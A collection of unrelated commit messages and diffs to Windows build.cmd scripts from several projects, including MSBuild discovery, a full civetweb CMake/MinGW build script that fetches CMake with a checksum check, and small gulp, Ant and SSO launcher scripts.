Attempt to build with MSBuild 15 first, if found. (#285)

* Attempt to build with MSBuild 15 first, if found.

* Build the .sln directly.

* Remove obsolete pieces.

--- build.cmd
+++ build.cmd
@@ -1,9 +1,32 @@
 @echo Off
+setlocal enableextensions enabledelayedexpansion

-set password=%1
+if exist "%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" (
+	FOR /F "delims=" %%E in ('"%ProgramFiles(x86)%\Microsoft Visual Studio\installer\vswhere.exe" -latest -property installationPath') DO (
+		set "MSBUILD_EXE=%%E\MSBuild\15.0\Bin\MSBuild.exe"
+		if exist "!MSBUILD_EXE!" goto :build
+	)
+)

-set deployUrl=%2
-if "%deployUrl%" == "" (
-   set deployUrl=https://npe.codeplex.com/releases/clickonce/
+FOR %%E in (Enterprise, Professional, Community) DO (
+	set "MSBUILD_EXE=%ProgramFiles(x86)%\Microsoft Visual Studio\2017\%%E\MSBuild\15.0\Bin\MSBuild.exe"
+	if exist "!MSBUILD_EXE!" goto :build
 )
-%WINDIR%\Microsoft.NET\Framework\v4.0.30319\msbuild build\build.proj  /verbosity:minimal /p:Configuration=release;DeploymentUrl="%deployUrl%";Password="%password%";EnableCodeAnalysis=true
+
+REM Couldn't be located in the standard locations, expand search
+FOR /F "delims=" %%E IN ('dir /b /ad "%ProgramFiles(x86)%\Microsoft Visual Studio\"') DO (
+	set "MSBUILD_EXE=%ProgramFiles(x86)%\Microsoft Visual Studio\%%E\MSBuild\15.0\Bin\MSBuild.exe"
+	if exist "!MSBUILD_EXE!" goto :build
+
+	FOR /F "delims=" %%F IN ('dir /b /ad "%ProgramFiles(x86)%\Microsoft Visual Studio\%%E"') DO (
+		set "MSBUILD_EXE=%ProgramFiles(x86)%\Microsoft Visual Studio\%%E\%%F\MSBuild\15.0\Bin\MSBuild.exe"
+		if exist "!MSBUILD_EXE!" goto :build
+	)
+)
+
+echo Could not find MSBuild 15, it is required to build.
+exit /b 1
+
+:build
+"%MSBUILD_EXE%" NuGetPackageExplorer.sln /t:Restore
+"%MSBUILD_EXE%" NuGetPackageExplorer.sln /m /bl /verbosity:minimal /p:Configuration=Release


A batch file for quick builds

A batch file for quick builds

The batch file allows for the project to be built quickly using the built
in tools of Windows to get the dependencies needed. It automatically
installs CMake if not found. If building with MinGW it installs Python and
uses the script to get MInGW.

A complete fire and forget script to build the project which might help
complete newbies.

error: pathspec 'build.cmd' did not match any file(s) known to git

--- build.cmd
+++ build.cmd
@@ -0,0 +1,866 @@
+:: Make sure the extensions are enabled
+@verify other 2>nul
+@setlocal EnableDelayedExpansion
+@if errorlevel 1 (
+  call :print_usage "Failed to enable extensions"
+  exit /b 1
+)
+
+::Change the code page to unicode
+@chcp 65001 1>nul 2>nul
+@if errorlevel 1 (
+  call :print_usage "Failed to change the code page to unicode"
+  exit /b 1
+)
+
+:: Set up some global variables
+@set project=civetweb
+@set "script_name=%~nx0"
+@set "script_folder=%~dp0"
+@set "script_folder=%script_folder:~0,-1%"
+@set "output_path=%script_folder%\output"
+@set "build_path=%output_path%\build"
+@set "install_path=%output_path%\install"
+@set build_shared=OFF
+@set build_type=Release
+@set dependency_path=%TEMP%\%project%-build-dependencies
+
+:: Check the command line parameters
+@set logging_level=1
+@set "options=%* "
+@if not "!options!"=="!options:/? =!" set usage="Convenience script to build %project% with CMake"
+@for %%a in (%options%) do @(
+  @set arg=%%~a
+  @set arg=!arg: =!
+  @set one=!arg:~0,1!
+  @set two=!arg:~0,2!
+  @if /i [!arg!] == [/q] set quiet=true
+  @if /i [!two!] == [/v] call :verbosity "!arg!"
+  @if /i [!arg!] == [/s] set build_shared=ON
+  @if /i [!arg!] == [/d] set build_type=Debug
+  @if /i not [!one!] == [/] (
+    if not defined generator (
+      set generator=!arg!
+    ) else (
+      set usage="Too many generators: !method! !arg!" ^
+                "There should only be one generator parameter"
+    )
+  )
+)
+@if defined quiet (
+  set logging_level=0
+)
+@if not defined generator (
+  set generator=MSVC
+)
+@if /i not [%generator%] == [MinGW] (
+  if /i not [%generator%] == [MSVC] (
+    call :print_usage "Invalid argument: %generator%"
+    exit /b 1
+  )
+)
+
+:: Set up the logging
+@set log_folder=%output_path%\logs
+@call :iso8601 timestamp
+@set log_path=%log_folder%\%timestamp%.log
+@set log_keep=10
+
+:: Only keep a certain amount of logs
+@set /a "log_keep=log_keep-1"
+@if not exist %log_folder% @mkdir %log_folder%
+@for /f "skip=%log_keep%" %%f in ('dir /b /o-D /tc %log_folder%') do @(
+  call :log 4 "Removing old log file %log_folder%\%%f"
+  del %log_folder%\%%f
+)
+
+:: Set up some more global variables
+@call :architecture arch
+@call :windows_version win_ver win_ver_major win_ver_minor win_ver_rev
+@call :script_source script_source
+@if [%script_source%] == [explorer] (
+  set /a "logging_level=logging_level+1"
+)
+
+:: Print the usage or start the script
+@set exit_code=0
+@if defined usage (
+  call :print_usage %usage%
+) else (
+  call :main
+  @if errorlevel 1 (
+    @call :log 0 "Failed to build the %project% project"
+    @set exit_code=1
+  )
+)
+
+:: Tell the user where the built files are
+@call :log 5
+@call :log 0 "The built files are available in %install_path%"
+
+:: Stop the script if the user double clicked
+@if [%script_source%] == [explorer] (
+  pause
+)
+
+@exit /b %exit_code%
+@endlocal
+@goto :eof
+
+:: -------------------------- Functions start here ----------------------------
+
+:main - Main function that performs the build
+@setlocal
+@call :log 6
+@call :log 2 "Welcome to the %project% build script"
+@call :log 6 "------------------------------------"
+@call :log 6
+@call :log 2 "This script builds the project using CMake"
+@call :log 6
+@call :log 2 "Generating %generator%..."
+@call :log 6
+@set methods=dependencies ^
+             generate ^
+             build ^
+             install
+@for %%m in (%methods%) do @(
+  call :log 3 "Excuting the '%%m' method"
+  call :log 8
+  call :%%~m
+  if errorlevel 1 (
+    call :log 0 "Failed to complete the '%%~m' dependency routine"
+    call :log 0 "View the log at %log_path%"
+    exit /b 1
+  )
+)
+@call :log 6 "------------------------------------"
+@call :log 2 "Build complete"
+@call :log 6
+@endlocal
+@goto :eof
+
+:print_usage - Prints the usage of the script
+:: %* - message to print, each argument on it's own line
+@setlocal
+@for %%a in (%*) do @echo.%%~a
+@echo.
+@echo.build [/?][/v[v...]^|/q][MinGW^|MSVC]
+@echo.
+@echo.  [MinGW^|(MSVC)]
+@echo.              Builds the library with one of the compilers
+@echo.  /s          Builds shared libraries
+@echo.  /d          Builds a debug variant of the project
+@echo.  /v          Sets the output to be more verbose
+@echo.  /v[v...]    Extra verbosity, /vv, /vvv, etc
+@echo.  /q          Quiets the output
+@echo.  /?          Shows this usage message
+@echo.
+@endlocal
+@goto :eof
+
+:dependencies - Installs any prerequisites for the build
+@setlocal EnableDelayedExpansion
+@if errorlevel 1 (
+  call :log 0 "Failed to enable extensions"
+  exit /b 1
+)
+@call :log 5
+@call :log 0 "Installing dependencies for %generator%"
+@if /i [%generator%] == [MinGW] (
+  call :mingw compiler_path
+  @if errorlevel 1 (
+    @call :log 5
+    @call :log 0 "Failed to find MinGW"
+    @exit /b 1
+  )
+  set "PATH=!compiler_path!;%PATH%"
+  @call :find_in_path gcc_executable gcc.exe
+  @if errorlevel 1 (
+    @call :log 5
+    @call :log 0 "Failed to find gcc.exe"
+    @exit /b 1
+  )
+)
+@if [%reboot_required%] equ [1] call :reboot
+@endlocal & set "PATH=%PATH%"
+@goto :eof
+
+:generate - Uses CMake to generate the build files
+@setlocal EnableDelayedExpansion
+@if errorlevel 1 (
+  call :log 0 "Failed to enable extensions"
+  exit /b 1
+)
+@call :log 5
+@call :log 0 "Generating CMake files for %generator%"
+@call :cmake cmake_executable
+@if errorlevel 1 (
+  @call :log 5
+  @call :log 0 "Need CMake to create the build files"
+  @exit /b 1
+)
+@if /i [%generator%] == [MinGW] @(
+  @set "generator_var=-G "MinGW Makefiles^""
+)
+@if /i [%generator%] == [MSVC] @(
+  rem We could figure out the correct MSVS generator here
+)
+@call :iso8601 iso8601
+@set output=%temp%\cmake-%iso8601%.log
+@if not exist %build_path% mkdir %build_path%
+@cd %build_path%
+@"%cmake_executable%" ^
+  !generator_var! ^
+  -DCMAKE_BUILD_TYPE=!build_type! ^
+  -DBUILD_SHARED_LIBS=!build_shared! ^
+  "%script_folder%" > "%output%"
+@if errorlevel 1 (
+  @call :log 5
+  @call :log 0 "Failed to generate build files with CMake"
+  @call :log_append "%output%"
+  @cd %script_folder%
+  @exit /b 1
+)
+@cd %script_folder%
+@endlocal
+@goto :eof
+
+:build - Builds the library
+@setlocal EnableDelayedExpansion
+@if errorlevel 1 (
+  call :log 0 "Failed to enable extensions"
+  exit /b 1
+)
+@call :log 5
+@call :log 0 "Building %project% with %generator%"
+@if /i [%generator%] == [MinGW] @(
+  @call :find_in_path mingw32_make_executable mingw32-make.exe
+  @if errorlevel 1 (
+    @call :log 5
+    @call :log 0 "Failed to find mingw32-make"
+    @exit /b 1
+  )
+  @set "build_command=^"!mingw32_make_executable!^" all test"
+)
+@if /i [%generator%] == [MSVC] @(
+  @call :msbuild msbuild_executable
+  @if errorlevel 1 (
+    @call :log 5
+    @call :log 0 "Failed to find MSBuild"
+    @exit /b 1
+  )
+  @set "build_command=^"!msbuild_executable!^" /m:4 /p:Configuration=%build_type% %project%.sln"
+)
+@if not defined build_command (
+  @call :log 5
+  @call :log 0 "No build command for %generator%"
+  @exit /b 1
+)
+@cd %build_path%
+@call :iso8601 iso8601
+@set output=%temp%\build-%iso8601%.log
+@call :log 7
+@call :log 2 "Build command: %build_command:"=%"
+@%build_command% > "%output%"
+@if errorlevel 1 (
+  @call :log_append "%output%"
+  @call :log 5
+  @call :log 0 "Failed to complete the build"
+  @exit /b 1
+)
+@call :log_append "%output%"
+@cd %script_folder%
+@endlocal
+@goto :eof
+
+:install - Installs the built files
+@setlocal
+@call :log 5
+@call :log 0 "Installing built files"
+@call :cmake cmake_executable
+@if errorlevel 1 (
+  @call :log 5
+  @call :log 0 "Need CMake to install the built files"
+  @exit /b 1
+)
+@call :iso8601 iso8601
+@set output=%temp%\install-%iso8601%.log
+@"%cmake_executable%" ^
+  "-DCMAKE_INSTALL_PREFIX=%install_path%" ^
+  -P "%build_path%/cmake_install.cmake" ^
+  > "%output%"
+@if errorlevel 1 (
+  @call :log_append "%output%"
+  @call :log 5
+  @call :log 0 "Failed to install the files"
+  @exit /b 1
+)
+@call :log_append "%output%"
+@endlocal
+@goto :eof
+
+:script_source - Determines if the script was ran from the cli or explorer
+:: %1 - The return variable [cli|explorer]
+@verify other 2>nul
+@setlocal EnableDelayedExpansion
+@if errorlevel 1 (
+  call :log 0 "Failed to enable extensions"
+  exit /b 1
+)
+@call :log 3 "Attempting to detect the script source"
+@echo "The invocation command was: '%cmdcmdline%'" >> %log_path%
+@for /f "tokens=1-3,*" %%a in ("%cmdcmdline%") do @(
+  set cmd=%%~a
+  set arg1=%%~b
+  set arg2=%%~c
+  set rest=%%~d
+)
+@set quote="
+@if "!arg2:~0,1!" equ "!quote!" (
+  if "!arg2:~-1!" neq "!quote!" (
+    set "arg2=!arg2:~1!"
+  )
+)
+@call :log 4 "cmd  = %cmd%"
+@call :log 4 "arg1 = %arg1%"
+@call :log 4 "arg2 = %arg2%"
+@call :log 4 "rest = %rest%"
+@call :log 4 "src  = %~f0"
+@if /i "%arg2%" == "call" (
+  set script_source=cli
+) else (
+  @if /i "%arg1%" == "/c" (
+    set script_source=explorer
+  ) else (
+    set script_source=cli
+  )
+)
+@call :log 3 "The script was invoked from %script_source%"
+@endlocal & set "%~1=%script_source%"
+@goto :eof
+
+:architecture - Finds the system architecture
+:: %1 - The return variable [x86|x86_64]
+@setlocal
+@call :log 3 "Determining the processor architecture"
+@set "key=HKLM\System\CurrentControlSet\Control\Session Manager\Environment"
+@set "var=PROCESSOR_ARCHITECTURE"
+@for /f "skip=2 tokens=2,*" %%a in ('reg query "%key%" /v "%var%"') do @set "arch=%%b"
+@if "%arch%" == "AMD64" set arch=x86_64
+@call :log 4 "arch = %arch%"
+@endlocal & set "%~1=%arch%"
+@goto :eof
+
+:md5 - Gets the MD5 checksum for a file
+:: %1 - The hash
+:: %2 - The file path
+@setlocal
+@set var=%~1
+@set file_path=%~2
+@if [%var%] == [] exit /b 1
+@if "%file_path%" == "" exit /b 1
+@if not exist "%file_path%" exit /b 1
+@for /f "skip=3 tokens=1,*" %%a in ('powershell Get-FileHash -Algorithm MD5 "'%file_path%'"') do @set hash=%%b
+@if not defined hash (
+  call :log 6
+  call :log 0 "Failed to get MD5 hash for %file_path%"
+  exit /b 1
+)
+@endlocal & set "%var%=%hash: =%"
+@goto :eof
+
+:windows_version - Checks the windows version
+:: %1 - The windows version
+:: %2 - The major version number return variable
+:: %3 - The minor version number return variable
+:: %4 - The revision version number return variable
+@setlocal
+@call :log 3 "Retrieving the Windows version"
+@for /f "tokens=2 delims=[]" %%x in ('ver') do @set win_ver=%%x
+@set win_ver=%win_ver:Version =%
+@set win_ver_major=%win_ver:~0,1%
+@set win_ver_minor=%win_ver:~2,1%
+@set win_ver_rev=%win_ver:~4%
+@call :log 4 "win_ver = %win_ver%"
+@endlocal & set "%~1=%win_ver%" ^
+          & set "%~2=%win_ver_major%" ^
+          & set "%~3=%win_ver_minor%" ^
+          & set "%~4=%win_ver_rev%"
+@goto :eof
+
+:find_in_path - Finds a program of file in the PATH
+@setlocal
+@set var=%~1
+@set file=%~2
+@if [%var%] == [] exit /b 1
+@if [%file%] == [] exit /b 1
+@call :log 3 "Searching PATH for %file%"
+@for %%x in ("%file%") do @set "file_path=%%~f$PATH:x"
+@if not defined file_path exit /b 1
+@endlocal & set "%var%=%file_path%"
+@goto :eof
+
+:administrator_check - Checks for administrator priviledges
+@setlocal
+@call :log 2 "Checking for administrator priviledges"
+@set "key=HKLM\Software\VCA\Tool Chain\Admin Check"
+@reg add "%key%" /v Elevated /t REG_DWORD /d 1 /f > nul 2>&1
+@if errorlevel 1 exit /b 1
+@reg delete "%key%" /va /f > nul 2>&1
+@endlocal
+@goto :eof
+
+:log_append - Appends another file into the current logging file
+:: %1 - the file_path to the file to concatenate
+@setlocal
+@set file_path=%~1
+@if [%file_path%] == [] exit /b 1
+@call :log 3 "Appending to log: %file_path%"
+@call :iso8601 iso8601
+@set temp_log=%temp%\append-%iso8601%.log
+@call :log 4 "Using temp file %temp_log%"
+@type "%log_path%" "%file_path%" > "%temp_log%" 2>nul
+@move /y "%temp_log%" "%log_path%" 1>nul
+@del "%file_path% 2>nul
+@del "%temp_log% 2>nul
+@endlocal
+@goto :eof
+
+:iso8601 - Returns the current time in ISO8601 format
+:: %1 - the return variable
+:: %2 - format [extended|basic*]
+:: iso8601 - contains the resulting timestamp
+@setlocal
+@wmic Alias /? >NUL 2>&1 || @exit /b 1
+@set "var=%~1"
+@if "%var%" == "" @exit /b 1
+@set "format=%~2"
+@if "%format%" == "" set format=basic
+@for /F "skip=1 tokens=1-6" %%g IN ('wmic Path Win32_UTCTime Get Day^,Hour^,Minute^,Month^,Second^,Year /Format:table') do @(
+  @if "%%~l"=="" goto :iso8601_done
+  @set "yyyy=%%l"
+  @set "mm=00%%j"
+  @set "dd=00%%g"
+  @set "hour=00%%h"
+  @set "minute=00%%i"
+  @set "seconds=00%%k"
+)
+:iso8601_done
+@set mm=%mm:~-2%
+@set dd=%dd:~-2%
+@set hour=%hour:~-2%
+@set minute=%minute:~-2%
+@set seconds=%seconds:~-2%
+@if /i [%format%] == [extended] (
+  set iso8601=%yyyy%-%mm%-%dd%T%hour%:%minute%:%seconds%Z
+) else (
+  if /i [%format%] == [basic] (
+    set iso8601=%yyyy%%mm%%dd%T%hour%%minute%%seconds%Z
+  ) else (
+    @exit /b 1
+  )
+)
+@set iso8601=%iso8601: =0%
+@endlocal & set %var%=%iso8601%
+@goto :eof
+
+:verbosity - Processes the verbosity parameter '/v[v...]
+:: %1 - verbosity given on the command line
+:: logging_level - set to the number of v's
+@setlocal
+@set logging_level=0
+@set verbosity=%~1
+:verbosity_loop
+@set verbosity=%verbosity:~1%
+@if not [%verbosity%] == [] @(
+  set /a "logging_level=logging_level+1"
+  goto verbosity_loop
+)
+@endlocal & set logging_level=%logging_level%
+@goto :eof
+
+:log - Logs a message, depending on verbosity
+:: %1 - level
+::       [0-4] for CLI logging
+::       [5-9] for GUI logging
+:: %2 - message to print
+@setlocal
+@set "level=%~1"
+@set "msg=%~2"
+@if "%log_folder%" == "" (
+  echo Logging was used to early in the script, log_folder isn't set yet
+  goto :eof
+)
+@if "%log_path%" == "" (
+  echo Logging was used to early in the script, log_path isn't set yet
+  goto :eof
+)
+@if not exist "%log_folder%" mkdir "%log_folder%"
+@if not exist "%log_path%" echo. 1>nul 2>"%log_path%"
+@echo.%msg% >> "%log_path%"
+@if %level% geq 5 (
+  @if [%script_source%] == [explorer] (
+    set /a "level=level-5"
+  ) else (
+    @goto :eof
+  )
+)
+@if "%logging_level%" == "" (
+  echo Logging was used to early in the script, logging_level isn't set yet
+  goto :eof
+)
+@if %logging_level% geq %level% echo.%msg% 1>&2
+@endlocal
+@goto :eof
+
+
+:start_browser - Opens the default browser to a URL
+:: %1 - the url to open
+@setlocal
+@set url=%~1
+@call :log 4 "Opening default browser: %url%"
+@start %url%
+@endlocal
+@goto :eof
+
+:find_cmake - Finds cmake on the command line or in the registry
+:: %1 - the cmake file path
+@setlocal
+@set var=%~1
+@if [%var%] == [] exit /b 1
+@call :log 6
+@call :log 6 "Finding CMake"
+@call :log 6 "--------------"
+@call :find_in_path cmake_executable cmake.exe
+@if not errorlevel 1 goto found_cmake
+@for /l %%i in (5,-1,0) do @(
+@for /l %%j in (9,-1,0) do @(
+@for /l %%k in (9,-1,0) do @(
+@for %%l in (HKCU HKLM) do @(
+@for %%m in (SOFTWARE SOFTWARE\Wow6432Node) do @(
+  @reg query "%%l\%%m\Kitware\CMake %%i.%%j.%%k" /ve > nul 2>nul
+  @if not errorlevel 1 (
+    @for /f "skip=2 tokens=2,*" %%a in ('reg query "%%l\%%m\Kitware\CMake %%i.%%j.%%k" /ve') do @(
+      @if exist "%%b\bin\cmake.exe" (
+        @set "cmake_executable=%%b\bin\cmake.exe"
+        goto found_cmake
+      )
+    )
+  )
+)))))
+@call :log 5
+@call :log 0 "Failed to find cmake"
+@exit /b 1
+:found_cmake
+@endlocal & set "%var%=%cmake_executable%"
+@goto :eof
+
+:cmake - Finds cmake and installs it if necessary
+:: %1 - the cmake file path
+@setlocal
+@set var=%~1
+@if [%var%] == [] exit /b 1
+@call :log 6
+@call :log 6 "Checking for CMake"
+@call :log 6 "------------------"
+@call :find_cmake cmake_executable cmake.exe
+@if not errorlevel 1 goto got_cmake
+@set checksum=C00267A3D3D9619A7A2E8FA4F46D7698
+@set version=3.2.2
+@call :install_nsis cmake http://www.cmake.org/files/v%version:~0,3%/cmake-%version%-win32-x86.exe %checksum%
+@if errorlevel 1 (
+  call :log 5
+  call :log 0 "Failed to install cmake"
+  @exit /b 1
+)
+@call :find_cmake cmake_executable cmake.exe
+@if not errorlevel 1 goto got_cmake
+@call :log 5
+@call :log 0 "Failed to check for cmake"
+@exit /b 1
+:got_cmake
+@endlocal & set "%var%=%cmake_executable%"
+@goto :eof
+
+:mingw - Finds MinGW, installing it if needed
+:: %1 - the compiler path that should be added to PATH
+@setlocal EnableDelayedExpansion
+@if errorlevel 1 (
+  @call :log 5
+  @call :log 0 "Failed to enable extensions"
+  @exit /b 1
+)
+@set var=%~1
+@if [%var%] == [] exit /b 1
+@call :log 6
+@call :log 6 "Checking for MinGW"
+@call :log 6 "------------------"
+@call :find_in_path gcc_executable gcc.exe
+@if not errorlevel 1 (
+  @for %%a in ("%gcc_executable%") do @set "compiler_path=%%~dpa"
+  goto got_mingw
+)
+@call :log 7
+@call :log 2 "Downloading MinGW"
+@if %logging_level% leq 1 set "logging=/q"
+@if %logging_level% gtr 1 set "logging=/v"
+@set output_path=
+@for /f %%a in ('call
+    "%script_folder%\mingw.cmd"
+    %logging%
+    /arch "%arch%"
+    "%dependency_path%"'
+) do @set "compiler_path=%%a\"
+@if not defined compiler_path (
+  @call :log_append "%output%"
+  @call :log 5
+  @call :log 0 "Failed to download MinGW"
+  @exit /b 1
+)
+:got_mingw
+@call :log 5
+@call :log 0 "Found MinGW: %compiler_path%gcc.exe"
+@endlocal & set "%var%=%compiler_path%"
+@goto :eof
+
+:msbuild - Finds MSBuild
+:: %1 - the path to MSBuild executable
+@setlocal
+@set var=%~1
+@if [%var%] == [] exit /b 1
+@call :find_in_path msbuild_executable msbuild.exe
+@if not errorlevel 1 goto got_msbuild
+@for /l %%i in (20,-1,4) do @(
+@for /l %%j in (9,-1,0) do @(
+@for %%k in (HKCU HKLM) do @(
+@for %%l in (SOFTWARE SOFTWARE\Wow6432Node) do @(
+  @reg query "%%k\%%l\Microsoft\MSBuild\%%i.%%j" /v MSBuildOverrideTasksPath > nul 2>nul
+  @if not errorlevel 1 (
+    @for /f "skip=2 tokens=2,*" %%a in ('reg query "%%k\%%l\Microsoft\MSBuild\%%i.%%j" /v MSBuildOverrideTasksPath') do @(
+      @if exist "%%bmsbuild.exe" (
+        @set "msbuild_executable=%%bmsbuild.exe"
+        goto got_msbuild
+      )
+    )
+  )
+))))
+@call :log 5
+@call :log 0 "Failed to check for MSBuild"
+@exit /b 1
+:got_msbuild
+@endlocal & set "%var%=%msbuild_executable%"
+@goto :eof
+
+:download - Downloads a file from the internet
+:: %1 - the url of the file to download
+:: %2 - the file to download to
+:: %3 - the MD5 checksum of the file (optional)
+@setlocal EnableDelayedExpansion
+@if errorlevel 1 (
+  call :print_usage "Failed to enable extensions"
+  exit /b 1
+)
+@set url=%~1
+@set file_path=%~2
+@set checksum=%~3
+@for %%a in (%file_path%) do @set dir_path=%%~dpa
+@for %%a in (%file_path%) do @set file_name=%%~nxa
+@if [%url%] == [] exit /b 1
+@if [%file_path%] == [] exit /b 1
+@if [%dir_path%] == [] exit /b 1
+@if [%file_name%] == [] exit /b 1
+@if not exist "%dir_path%" mkdir "%dir_path%"
+@call :log 1 "Downloading %url%"
+@call :iso8601 iso8601
+@set temp_path=%temp%\download-%iso8601%-%file_name%
+@call :log 3 "Using temp file %temp_path%"
+@powershell Invoke-WebRequest "%url%" -OutFile %temp_path%
+@if errorlevel 1 (
+  call :log 0 "Failed to download %url%"
+  exit /b 1
+)
+@if [%checksum%] neq [] (
+  @call :log 4 "Checking %checksum% against %temp_path%"
+  @call :md5 hash "%temp_path%"
+  if "!hash!" neq "%checksum%" (
+    call :log 0 "Failed to match checksum: %temp_path%"
+    call :log 0 "Hash    : !hash!"
+    call :log 0 "Checksum: %checksum%"
+    exit /b 1
+  ) else (
+    call :log 3 "Checksum matched: %temp_path%"
+    call :log 3 "Hash    : !hash!"
+    call :log 3 "Checksum: %checksum%"
+  )
+)
+@call :log 4 "Renaming %temp_path% to %file_path%"
+@move /y "%temp_path%" "%file_path%" 1>nul
+@endlocal
+@goto :eof
+
+:install_msi - Installs a dependency from an Microsoft Installer package (.msi)
+:: %1 - [string] name of the project to install
+:: %2 - The location of the .msi, a url must start with 'http://' or file_path
+:: %3 - The checksum of the msi (optional)
+@setlocal
+@set name=%~1
+@set file_path=%~2
+@set checksum=%~3
+@set msi=%~nx2
+@set msi_path=%dependency_path%\%msi%
+@if [%name%] == [] exit /b 1
+@if [%file_path%] == [] exit /b 1
+@if [%msi%] == [] exit /b 1
+@if [%msi_path%] == [] exit /b 1
+@for %%x in (msiexec.exe) do @set "msiexec_path=%%~f$PATH:x"
+@if "msiexec_path" == "" (
+  call :log 0 "Failed to find the Microsoft package installer (msiexec.exe)"
+  call :log 6
+  call :log 0 "Please install it from the Microsoft Download center"
+  call :log 6
+  choice /C YN /T 60 /D N /M "Would you like to go there now?"
+  if !errorlevel! equ 1 call :start_browser ^
+    "http://search.microsoft.com/DownloadResults.aspx?q=Windows+Installer"
+  exit /b 1
+)
+@call :log 6
+@call :log 1 "Installing the '%name%' dependency"
+@call :log 6 "-------------------------------------"
+@call :administrator_check
+@if errorlevel 1 (
+  call :log 0 "You must run %~nx0 in elevated mode to install '%name%'"
+  call :log 5 "Right-Click and select 'Run as Administrator'
+  call :log 0 "Install the dependency manually by running %file_path%"
+  @exit /b 740
+)
+@if [%file_path:~0,4%] == [http] (
+  if not exist "%msi_path%" (
+    call :download "%file_path%" "%msi_path%" %checksum%
+    if errorlevel 1 (
+      call :log 0 "Failed to download the %name% dependency"
+      exit /b 1
+    )
+  )
+) else (
+  call :log 2 "Copying MSI %file_path% to %msi_path%"
+  call :log 7
+  if not exist "%msi_path%" (
+    xcopy /q /y /z "%file_path%" "%msi_path%" 1>nul
+    if errorlevel 1 (
+      call :log 0 "Failed to copy the Microsoft Installer"
+      exit /b 1
+    )
+  )
+)
+@call :log 1 "Running the %msi%"
+@call :log 6
+@set msi_log=%temp%\msiexec-%timestamp%.log
+@call :log 3 "Logging to: %msi_log%"
+@msiexec /i "%msi_path%" /passive /log "%msi_log%" ALLUSERS=1
+@set msi_errorlevel=%errorlevel%
+@call :log_append "%msi_log%"
+@if %msi_errorlevel% equ 0 goto install_msi_success
+@if %msi_errorlevel% equ 3010 goto install_msi_success_reboot
+@if %msi_errorlevel% equ 1641 goto install_msi_success_reboot
+@if %msi_errorlevel% equ 3015 goto install_msi_in_progress_reboot
+@if %msi_errorlevel% equ 1615 goto install_msi_in_progress_reboot
+@call :log 0 "Microsoft Installer failed: %msi_errorlevel%"
+@call :log 0 "Install the dependency manually by running %msi_path%"
+@exit /b 1
+:install_msi_in_progress_reboot
+@call :log 0 "The installation requires a reboot to continue"
+@call :log 5
+@call :reboot
+@exit /b 1
+:install_msi_success_reboot
+@call :log 3 "The installation requires a reboot to be fully functional"
+@set reboot_required=1
+:install_msi_success
+@call :log 2 "Successfully installed %name%"
+@call :log 7
+@endlocal & set reboot_required=%reboot_required%
+@goto :eof
+
+:install_nsis - Installs a dependency from an Nullsoft Installer package (.exe)
+:: %1 - [string] name of the project to install
+:: %2 - The location of the .exe, a url must start with 'http://' or file_path
+:: %3 - The checksum of the exe (optional)
+@setlocal
+@set name=%~1
+@set file_path=%~2
+@set checksum=%~3
+@set exe=%~nx2
+@set exe_path=%dependency_path%\%exe%
+@if [%name%] == [] exit /b 1
+@if [%file_path%] == [] exit /b 1
+@if [%exe%] == [] exit /b 1
+@if [%exe_path%] == [] exit /b 1
+@call :log 6
+@call :log 1 "Installing the '%name%' dependency"
+@call :log 6 "-------------------------------------"
+@call :administrator_check
+@if errorlevel 1 (
+  call :log 0 "You must run %~nx0 in elevated mode to install '%name%'"
+  call :log 5 "Right-Click and select 'Run as Administrator'
+  call :log 0 "Install the dependency manually by running %file_path%"
+  @exit /b 740
+)
+@if [%file_path:~0,4%] == [http] (
+  if not exist "%exe_path%" (
+    call :download "%file_path%" "%exe_path%" %checksum%
+    if errorlevel 1 (
+      call :log 0 "Failed to download the %name% dependency"
+      exit /b 1
+    )
+  )
+) else (
+  call :log 2 "Copying installer %file_path% to %exe_path%"
+  call :log 7
+  if not exist "%exe_path%" (
+    xcopy /q /y /z "%file_path%" "%exe_path%" 1>nul
+    if errorlevel 1 (
+      call :log 0 "Failed to copy the Nullsoft Installer"
+      exit /b 1
+    )
+  )
+)
+@call :log 1 "Running the %exe%"
+@call :log 6
+@"%exe_path%" /S
+@set nsis_errorlevel=%errorlevel%
+@if %nsis_errorlevel% equ 0 goto install_nsis_success
+@if %nsis_errorlevel% equ 3010 goto install_nsis_success_reboot
+@if %nsis_errorlevel% equ 1641 goto install_nsis_success_reboot
+@if %nsis_errorlevel% equ 3015 goto install_nsis_in_progress_reboot
+@if %nsis_errorlevel% equ 1615 goto install_nsis_in_progress_reboot
+@call :log 0 "Nullsoft Installer failed: %nsis_errorlevel%"
+@call :log 0 "Install the dependency manually by running %exe_path%"
+@exit /b 1
+:install_nsis_in_progress_reboot
+@call :log 0 "The installation requires a reboot to continue"
+@call :log 5
+@call :reboot
+@exit /b 1
+:install_nsis_success_reboot
+@call :log 3 "The installation requires a reboot to be fully functional"
+@set reboot_required=1
+:install_nsis_success
+@call :log 2 "Successfully installed %name%"
+@call :log 7
+@endlocal & set reboot_required=%reboot_required%
+@goto :eof
+
+:reboot - Asks the user if they would like to reboot then stops the script
+@setlocal
+@call :log 6 "-------------------------------------------"
+@choice /C YN /T 60 /D N /M "The %method% requires a reboot, reboot now?"
+@set ret=%errorlevel%
+@call :log 6
+@if %ret% equ 1 (
+  @shutdown /r
+) else (
+  @call :log 0 "You will need to reboot to complete the %method%"
+  @call :log 5
+)
+@endlocal
+@goto :eof


Luaj: Fix build warnings about 'unmappable character for encoding utf-8' [gnosygnu/xowa#502]

--- build.cmd
+++ build.cmd
@@ -1 +1,3 @@
+REM NOTE: must set encoding else "unmappable character for encoding utf-8"; https://stackoverflow.com/questions/21147974/set-a-system-property-with-ant
+SET ANT_OPTS="-Dfile.encoding=UTF8"
 ant -buildfile build.xml


Build helper script

Build helper script

--- build.cmd
+++ build.cmd
@@ -0,0 +1,12 @@
+cd ../libs/cu-events
+call gulp
+
+cd ../cu-stores
+call gulp
+
+cd ../cu-components
+call gulp
+
+cd ../../core-testbed
+call gulp
+copy src\fake*.js dist\js


完善一键启动

完善一键启动

--- build.cmd
+++ build.cmd
@@ -32,28 +32,28 @@
 @goto:eof

 :sso-server
-	@echo Startting sso server...
-    call sso-server/build.cmd run
+	@echo Stating sso server...
+	call cmd /k start "sso-server" %cd%/sso-server/build.cmd run
 @goto:eof

 :sso-management
-	@echo Startting cas management...
-    call sso-management /build.cmd run
+	@echo Stating cas management...
+    call cmd /k start "sso-management" %cd%/sso-management/build.cmd run
 @goto:eof

 :sso-config
-	@echo Startting config Server...
-    call %MAVEN_CMD% spring-boot:run -T 5 %1 %2 %3 -f sso-config/pom.xml
+	@echo Stating config Server...
